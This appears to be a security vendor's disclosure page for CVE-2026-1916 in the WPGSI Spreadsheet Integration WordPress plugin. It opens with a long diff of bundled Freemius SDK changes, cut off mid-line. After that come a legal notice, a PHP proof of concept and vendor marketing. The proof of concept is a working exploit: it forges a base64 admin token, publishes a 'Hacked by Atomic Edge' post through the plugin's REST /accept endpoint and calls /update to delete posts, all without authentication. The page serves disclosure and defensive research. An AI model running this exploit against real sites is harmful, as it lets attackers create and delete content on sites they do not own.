-        function get_update( $plugin_id = false, $flush = true, $expiration = FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION, $newer_than = false ) {
+        function get_update( $plugin_id = false, $flush = true ) {
             $this->_logger->entrance();

             if ( ! is_numeric( $plugin_id ) ) {
                 $plugin_id = $this->_plugin->id;
             }

-            $this->check_updates( true, $plugin_id, $flush, $expiration, $newer_than );
+            $this->check_updates( true, $plugin_id, $flush );
+
             $updates = $this->get_all_updates();

             return isset( $updates[ $plugin_id ] ) && is_object( $updates[ $plugin_id ] ) ? $updates[ $plugin_id ] : false;
@@ -21548,7 +21612,14 @@
                         false,
                         false,
                         false,
-                        $premium_license->secret_key
+                        $premium_license->secret_key,
+                        false,
+                        false,
+                        false,
+                        null,
+                        array(),
+                        true,
+                        $premium_license->user_id
                     );

                     return;
@@ -21600,6 +21671,8 @@
                 return;
             }

+            $this->do_action( 'after_license_activation' );
+
             $premium_license = new FS_Plugin_License( $license );

             // Updated site plan.
@@ -21679,6 +21752,8 @@
                     'error'
                 );

+                $this->do_action( 'after_license_deactivation', $license );
+
                 return;
             }

@@ -21699,6 +21774,8 @@

             $this->_store_account();

+            $this->do_action( 'after_license_deactivation', $license );
+
             if ( $show_notice ) {
                 $this->_admin_notices->add(
                     sprintf( $this->is_only_premium() ?
@@ -22060,6 +22137,7 @@
          * @param int         $expiration   Since 1.2.2.7
          * @param bool|string $newer_than   Since 2.2.1
          * @param bool|string $fetch_readme Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false Plugin latest tag info.
          */
@@ -22068,7 +22146,8 @@
             $flush = true,
             $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
             $newer_than = false,
-            $fetch_readme = true
+            $fetch_readme = true,
+            $fetch_upgrade_notice = false
         ) {
             $this->_logger->entrance();

@@ -22141,6 +22220,10 @@
                 $expiration = null;
             }

+            if ( true === $fetch_upgrade_notice ) {
+                $latest_version_endpoint = add_query_arg( 'include_upgrade_notice', 'true', $latest_version_endpoint );
+            }
+
             $tag = $this->get_api_site_or_plugin_scope()->get(
                 $latest_version_endpoint,
                 $flush,
@@ -22286,20 +22369,20 @@
          *                                was initiated by the admin.
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
          */
-        private function check_updates(
-            $background = false,
-            $plugin_id = false,
-            $flush = true,
-            $expiration = FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-            $newer_than = false
-        ) {
+        private function check_updates( $background = false, $plugin_id = false, $flush = true ) {
             $this->_logger->entrance();

+            $newer_than = ( $this->is_premium() ? $this->get_plugin_version() : false );
+
             // Check if there's a newer version for download.
-            $new_version = $this->_fetch_newer_version( $plugin_id, $flush, $expiration, $newer_than );
+            $new_version = $this->_fetch_newer_version(
+                $plugin_id,
+                $flush,
+                FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
+                $newer_than,
+                ( false !== $newer_than )
+            );

             $update = null;
             if ( is_object( $new_version ) ) {
@@ -23444,7 +23527,7 @@
                         $params['plugin_public_key'] = $this->get_public_key();
                     }

-                    $result = $api->get( 'pricing.json?' . http_build_query( $params ) );
+                    $result = $api->get( $this->add_show_pending( 'pricing.json?' . http_build_query( $params ) ) );
                     break;
                 case 'start_trial':
                     $trial_plan_id = fs_request_get( 'plan_id' );
@@ -24625,23 +24708,39 @@
                     $this->get_premium_slug() :
                     $this->premium_plugin_basename();

-                return sprintf(
-                /* translators: %1$s: Product title; %2$s: Plan title */
-                    $this->get_text_inline( ' The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s', 'activate-premium-version' ),
-                    sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
-                    $plan_title,
-                    sprintf(
-                        '<a style="margin-left: 10px;" href="%s"><button class="button button-primary">%s</button></a>',
-                        ( $this->is_theme() ?
-                            wp_nonce_url( 'themes.php?action=activate&stylesheet=' . $premium_theme_slug_or_plugin_basename, 'switch-theme_' . $premium_theme_slug_or_plugin_basename ) :
-                            wp_nonce_url( 'plugins.php?action=activate&plugin=' . $premium_theme_slug_or_plugin_basename, 'activate-plugin_' . $premium_theme_slug_or_plugin_basename ) ),
-                        esc_html( sprintf(
-                        /* translators: %s: Plan title */
-                            $this->get_text_inline( 'Activate %s features', 'activate-x-features' ),
-                            $plan_title
-                        ) )
-                    )
-                );
+                if ( is_admin() ) {
+                    return sprintf(
+                        /* translators: %1$s: Product title; %2$s: Plan title */
+                        $this->get_text_inline( ' The paid version of %1$s is already installed. Please activate it to start benefiting from the %2$s features. %3$s', 'activate-premium-version' ),
+                        sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
+                        $plan_title,
+                        sprintf(
+                            '<a style="margin-left: 10px;" href="%s"><button class="button button-primary">%s</button></a>',
+                            ( $this->is_theme() ?
+                                wp_nonce_url( 'themes.php?action=activate&stylesheet=' . $premium_theme_slug_or_plugin_basename, 'switch-theme_' . $premium_theme_slug_or_plugin_basename ) :
+                                wp_nonce_url( 'plugins.php?action=activate&plugin=' . $premium_theme_slug_or_plugin_basename, 'activate-plugin_' . $premium_theme_slug_or_plugin_basename ) ),
+                            esc_html( sprintf(
+                            /* translators: %s: Plan title */
+                                $this->get_text_inline( 'Activate %s features', 'activate-x-features' ),
+                                $plan_title
+                            ) )
+                        )
+                    );
+                } else {
+                    return sprintf(
+                        /* translators: %1$s: Product title; %3$s: Plan title */
+                        $this->get_text_inline( ' The paid version of %1$s is already installed. Please navigate to the %2$s to activate it and start benefiting from the %3$s features.', 'activate-premium-version-plugins-page' ),
+                        sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
+                        sprintf(
+                            '<a href="%s">%s</a>',
+                            admin_url( $this->is_theme() ? 'themes.php' : 'plugins.php' ),
+                            ( $this->is_theme() ?
+                                $this->get_text_inline( 'Themes page', 'themes-page' ) :
+                                $this->get_text_inline( 'Plugins page', 'plugins-page' ) )
+                        ),
+                        $plan_title
+                    );
+                }
             } else {
                 // @since 1.2.1.5 The free version is auto deactivated.
                 $deactivation_step = version_compare( $this->version, '1.2.1.5', '<' ) ?
--- a/wpgsi/includes/freemius/includes/class-fs-hook-snapshot.php
+++ b/wpgsi/includes/freemius/includes/class-fs-hook-snapshot.php
@@ -0,0 +1,45 @@
+<?php
+	/**
+	 * @package   Freemius
+	 * @copyright Copyright (c) 2025, Freemius, Inc.
+	 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+	 * @since     2.12.2
+	 */
+
+	if ( ! defined( 'ABSPATH' ) ) {
+		exit;
+	}
+
+	/**
+	 * Class FS_Hook_Snapshot
+	 *
+	 * This class allows you to take a snapshot of the current actions attached to a WordPress hook, remove them, and restore them later.
+	 */
+	class FS_Hook_Snapshot {
+
+		private $removed_actions = array();
+
+		/**
+		 * Remove all actions from a given hook and store them for later restoration.
+		 */
+		public function remove( $hook ) {
+			global $wp_filter;
+
+			if ( ! empty( $wp_filter ) && isset( $wp_filter[ $hook ] ) ) {
+				$this->removed_actions[ $hook ] = $wp_filter[ $hook ];
+				unset( $wp_filter[ $hook ] );
+			}
+		}
+
+		/**
+		 * Restore previously removed actions for a given hook.
+		 */
+		public function restore( $hook ) {
+			global $wp_filter;
+
+			if ( ! empty( $wp_filter ) && isset( $this->removed_actions[ $hook ] ) ) {
+				$wp_filter[ $hook ] = $this->removed_actions[ $hook ];
+				unset( $this->removed_actions[ $hook ] );
+			}
+		}
+	}
 No newline at end of file
--- a/wpgsi/includes/freemius/includes/class-fs-logger.php
+++ b/wpgsi/includes/freemius/includes/class-fs-logger.php
@@ -636,7 +636,17 @@
 			$offset = 0,
 			$order = false
 		) {
-			global $wpdb;
+			if ( empty( $filename ) ) {
+				$filename = 'fs-logs-' . date( 'Y-m-d_H-i-s', WP_FS__SCRIPT_START_TIME ) . '.csv';
+			}
+
+			$upload_dir = wp_upload_dir();
+			$filepath   = rtrim( $upload_dir['path'], '/' ) . "/{$filename}";
+
+			WP_Filesystem();
+			if ( ! $GLOBALS['wp_filesystem']->is_writable( dirname( $filepath ) ) ) {
+				return false;
+			}

 			$query = self::build_db_logs_query(
 				$filters,
@@ -646,14 +656,6 @@
 				true
 			);

-			$upload_dir = wp_upload_dir();
-			if ( empty( $filename ) ) {
-				$filename = 'fs-logs-' . date( 'Y-m-d_H-i-s', WP_FS__SCRIPT_START_TIME ) . '.csv';
-			}
-			$filepath = rtrim( $upload_dir['path'], '/' ) . "/{$filename}";
-
-			$query .= " INTO OUTFILE '{$filepath}' FIELDS TERMINATED BY 't' ESCAPED BY '\\' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n'";
-
 			$columns = '';
 			for ( $i = 0, $len = count( self::$_log_columns ); $i < $len; $i ++ ) {
 				if ( $i > 0 ) {
@@ -665,12 +667,16 @@

 			$query = "SELECT {$columns} UNION ALL " . $query;

-			$result = $wpdb->query( $query );
+			$result = $GLOBALS['wpdb']->get_results( $query );

 			if ( false === $result ) {
 				return false;
 			}

+			if ( ! self::write_csv_to_filesystem( $filepath, $result ) ) {
+				return false;
+			}
+
 			return rtrim( $upload_dir['url'], '/' ) . '/' . $filename;
 		}

@@ -691,5 +697,32 @@
 			return rtrim( $upload_dir['url'], '/' ) . $filename;
 		}

+		/**
+		 * @param string $file_path
+		 * @param array  $query_results
+		 *
+		 * @return bool
+		 */
+		private static function write_csv_to_filesystem( $file_path, $query_results ) {
+			if ( empty( $query_results ) ) {
+				return false;
+			}
+
+			$content = '';
+
+			foreach ( $query_results as $row ) {
+				$row_data = array_map( function ( $value ) {
+					return str_replace( "n", ' ', $value );
+				}, (array) $row );
+				$content  .= implode( "t", $row_data ) . "n";
+			}
+
+			if ( ! $GLOBALS['wp_filesystem']->put_contents( $file_path, $content, FS_CHMOD_FILE ) ) {
+				return false;
+			}
+
+			return true;
+		}
+
 		#endregion
 	}
--- a/wpgsi/includes/freemius/includes/class-fs-plugin-updater.php
+++ b/wpgsi/includes/freemius/includes/class-fs-plugin-updater.php
@@ -548,12 +548,7 @@

             if ( ! isset( $this->_update_details ) ) {
                 // Get plugin's newest update.
-                $new_version = $this->_fs->get_update(
-                    false,
-                    fs_request_get_bool( 'force-check' ),
-                    FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $this->_fs->get_plugin_version()
-                );
+                $new_version = $this->_fs->get_update( false, fs_request_get_bool( 'force-check' ) );

                 $this->_update_details = false;

@@ -704,16 +699,8 @@
                 );
             }

-            if ( $this->_fs->is_premium() ) {
-                $latest_tag = $this->_fs->_fetch_latest_version( $this->_fs->get_id(), false );
-
-                if (
-                    isset( $latest_tag->readme ) &&
-                    isset( $latest_tag->readme->upgrade_notice ) &&
-                    ! empty( $latest_tag->readme->upgrade_notice )
-                ) {
-                    $update->upgrade_notice = $latest_tag->readme->upgrade_notice;
-                }
+            if ( $this->_fs->is_premium() && ! empty( $new_version->upgrade_notice ) ) {
+                $update->upgrade_notice = $new_version->upgrade_notice;
             }

             $update->{$this->_fs->get_module_type()} = $this->_fs->get_plugin_basename();
--- a/wpgsi/includes/freemius/includes/customizer/class-fs-customizer-upsell-control.php
+++ b/wpgsi/includes/freemius/includes/customizer/class-fs-customizer-upsell-control.php
@@ -73,7 +73,6 @@
 						'forum'              => 'Support Forum',
 						'email'              => 'Priority Email Support',
 						'phone'              => 'Phone Support',
-						'skype'              => 'Skype Support',
 						'is_success_manager' => 'Personal Success Manager',
 					);

--- a/wpgsi/includes/freemius/includes/entities/class-fs-payment.php
+++ b/wpgsi/includes/freemius/includes/entities/class-fs-payment.php
@@ -132,10 +132,11 @@
          */
         function formatted_gross()
         {
+            $price = $this->gross + $this->vat;
             return (
-                ( $this->gross < 0 ? '-' : '' ) .
+                ( $price < 0 ? '-' : '' ) .
                 $this->get_symbol() .
-                number_format( abs( $this->gross ), 2, '.', ',' ) . ' ' .
+                number_format( abs( $price ), 2, '.', ',' ) . ' ' .
                 strtoupper( $this->currency )
             );
         }
--- a/wpgsi/includes/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/wpgsi/includes/freemius/includes/entities/class-fs-plugin-plan.php
@@ -75,10 +75,12 @@
 		 * @var string Support phone.
 		 */
 		public $support_phone;
-		/**
-		 * @var string Support skype username.
-		 */
-		public $support_skype;
+        /**
+         * @var string Support skype username.
+         *
+         * @deprecated 2.12.1
+         */
+        public $support_skype = '';
 		/**
 		 * @var bool Is personal success manager supported with the plan.
 		 */
@@ -137,7 +139,6 @@
 		 */
 		function has_technical_support() {
 			return ( ! empty( $this->support_email ) ||
-			     ! empty( $this->support_skype ) ||
 			     ! empty( $this->support_phone ) ||
 			     ! empty( $this->is_success_manager )
 			);
--- a/wpgsi/includes/freemius/includes/entities/class-fs-plugin-tag.php
+++ b/wpgsi/includes/freemius/includes/entities/class-fs-plugin-tag.php
@@ -43,6 +43,10 @@
          * @var string One of the following: `pending`, `beta`, `unreleased`.
          */
         public $release_mode;
+        /**
+         * @var string
+         */
+        public $upgrade_notice;

 		function __construct( $tag = false ) {
 			parent::__construct( $tag );
--- a/wpgsi/includes/freemius/includes/entities/class-fs-site.php
+++ b/wpgsi/includes/freemius/includes/entities/class-fs-site.php
@@ -202,7 +202,7 @@
                 // Vendasta
                 ( fs_ends_with( $subdomain, '.websitepro-staging.com' ) || fs_ends_with( $subdomain, '.websitepro.hosting' ) ) ||
                 // InstaWP
-                fs_ends_with( $subdomain, '.instawp.xyz' ) ||
+                ( fs_ends_with( $subdomain, '.instawp.co' ) || fs_ends_with( $subdomain, '.instawp.link' ) || fs_ends_with( $subdomain, '.instawp.xyz' ) ) ||
                 // 10Web Hosting
                 ( fs_ends_with( $subdomain, '-dev.10web.site' ) || fs_ends_with( $subdomain, '-dev.10web.cloud' ) )
             );
@@ -220,6 +220,8 @@
             // Services aimed at providing a WordPress sandbox environment.
             $sandbox_wp_environment_domains = array(
                 // InstaWP
+                'instawp.co',
+                'instawp.link',
                 'instawp.xyz',

                 // TasteWP
--- a/wpgsi/includes/freemius/includes/managers/class-fs-checkout-manager.php
+++ b/wpgsi/includes/freemius/includes/managers/class-fs-checkout-manager.php
@@ -12,7 +12,36 @@

 	class FS_Checkout_Manager {

-		# region Singleton
+        /**
+         * Allowlist of query parameters for checkout.
+         */
+        private $_allowed_custom_params = array(
+            // currency
+            'currency'                      => true,
+            'default_currency'              => true,
+            // cart
+            'always_show_renewals_amount'   => true,
+            'annual_discount'               => true,
+            'billing_cycle'                 => true,
+            'billing_cycle_selector'        => true,
+            'bundle_discount'               => true,
+            'maximize_discounts'            => true,
+            'multisite_discount'            => true,
+            'show_inline_currency_selector' => true,
+            'show_monthly'                  => true,
+            // appearance
+            'form_position'                 => true,
+            'is_bundle_collapsed'           => true,
+            'layout'                        => true,
+            'refund_policy_position'        => true,
+            'show_refund_badge'             => true,
+            'show_reviews'                  => true,
+            'show_upsells'                  => true,
+            'title'                         => true,
+        );
+
+
+        # region Singleton

 		/**
 		 * @var FS_Checkout_Manager
@@ -153,7 +182,12 @@
 				( $fs->is_theme() && current_user_can( 'install_themes' ) )
 			);

-			return array_merge( $context_params, $_GET, array(
+            $filtered_params = $fs->apply_filters('checkout/parameters', $context_params);
+
+            // Allowlist only allowed query params.
+            $filtered_params = array_intersect_key($filtered_params, $this->_allowed_custom_params);
+
+            return array_merge( $context_params, $filtered_params, $_GET, array(
 				// Current plugin version.
 				'plugin_version' => $fs->get_plugin_version(),
 				'sdk_version'    => WP_FS__SDK_VERSION,
@@ -239,4 +273,4 @@
 		private function get_checkout_redirect_nonce_action( Freemius $fs ) {
 			return $fs->get_unique_affix() . '_checkout_redirect';
 		}
-	}
 No newline at end of file
+	}
--- a/wpgsi/includes/freemius/includes/managers/class-fs-clone-manager.php
+++ b/wpgsi/includes/freemius/includes/managers/class-fs-clone-manager.php
@@ -412,12 +412,12 @@
          * @author Vova Feldman (@svovaf)
          * @since 2.5.0
          *
-         * @param Freemius    $instance
-         * @param string|false $license_key
+         * @param Freemius               $instance
+         * @param FS_Plugin_License|null $license
          *
          * @return bool TRUE if successfully connected. FALSE if failed and had to restore install from backup.
          */
-        private function delete_install_and_connect( Freemius $instance, $license_key = false ) {
+        private function delete_install_and_connect( Freemius $instance, $license = null ) {
             $user = Freemius::_get_user_by_id( $instance->get_site()->user_id );

             $instance->delete_current_install( true );
@@ -430,6 +430,9 @@
                 $user = Freemius::_get_user_by_email( $current_user->user_email );
             }

+            $license_key      = ( is_object( $license ) ? $license->secret_key : false );
+            $license_owner_id = ( is_object( $license ) ? $license->user_id : null );
+
             if ( is_object( $user ) ) {
                 // When a clone is found, we prefer to use the same user of the original install for the opt-in.
                 $instance->install_with_user( $user, $license_key, false, false );
@@ -439,7 +442,14 @@
                     false,
                     false,
                     false,
-                    $license_key
+                    $license_key,
+                    false,
+                    false,
+                    false,
+                    null,
+                    array(),
+                    true,
+                    $license_owner_id
                 );
             }

@@ -505,7 +515,7 @@
             }

             // If the site is a clone of another subsite in the network, or a localhost one, try to auto activate the license.
-            return $this->delete_install_and_connect( $instance, $license->secret_key );
+            return $this->delete_install_and_connect( $instance, $license );
         }

         /**
--- a/wpgsi/includes/freemius/require.php
+++ b/wpgsi/includes/freemius/require.php
@@ -58,4 +58,5 @@
     require_once WP_FS__DIR_INCLUDES . '/class-fs-admin-notices.php';
 	require_once WP_FS__DIR_INCLUDES . '/class-freemius-abstract.php';
 	require_once WP_FS__DIR_INCLUDES . '/sdk/Exceptions/Exception.php';
+	require_once WP_FS__DIR_INCLUDES . '/class-fs-hook-snapshot.php';
 	require_once WP_FS__DIR_INCLUDES . '/class-freemius.php';
--- a/wpgsi/includes/freemius/start.php
+++ b/wpgsi/includes/freemius/start.php
@@ -7,7 +7,7 @@
 	 */

 	if ( ! defined( 'ABSPATH' ) ) {
-		ex

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1916 - WPGSI: Spreadsheet Integration <= 3.8.3 - Missing Authorization to Unauthenticated Arbitrary Post Creation and Deletion via Forged Base64 Token

<?php

$target_url = 'https://vulnerable-site.com';

// Configuration - attacker needs to know admin email and an integration ID
$admin_email = 'admin@example.com'; // Often publicly available
$admin_id = '1'; // Default first admin user ID
$integration_id = '123'; // Active integration ID with remote updates enabled

// Step 1: Create forged token (vulnerable version format)
$token_data = array(
    'id' => $admin_id,
    'email' => $admin_email
);
$json_token = json_encode($token_data);
$forged_token = base64_encode($json_token);

echo "[+] Forged token: $forged_tokenn";

// Step 2: Test token validation via /accept endpoint (POST)
$accept_url = $target_url . '/wp-json/wpgsi/accept';
$post_data = array(
    'token' => $forged_token,
    'integrationID' => $integration_id,
    'data' => array(
        'post_title' => 'Hacked by Atomic Edge',
        'post_content' => 'This site is vulnerable to CVE-2026-1916',
        'post_status' => 'publish',
        'post_type' => 'post'
    )
);

$ch = curl_init($accept_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] POST to /accept endpoint - HTTP $http_coden";
echo "Response: $responsenn";

// Step 3: Test post deletion via /update endpoint (GET)
$update_url = $target_url . '/wp-json/wpgsi/update?token=' . urlencode($forged_token);

$ch = curl_init($update_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] GET to /update endpoint - HTTP $http_coden";
echo "Response: $responsen";

// Note: The actual data structure for deletion depends on plugin configuration
// This PoC demonstrates the unauthorized access; full exploitation requires
// understanding the specific integration's data format.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School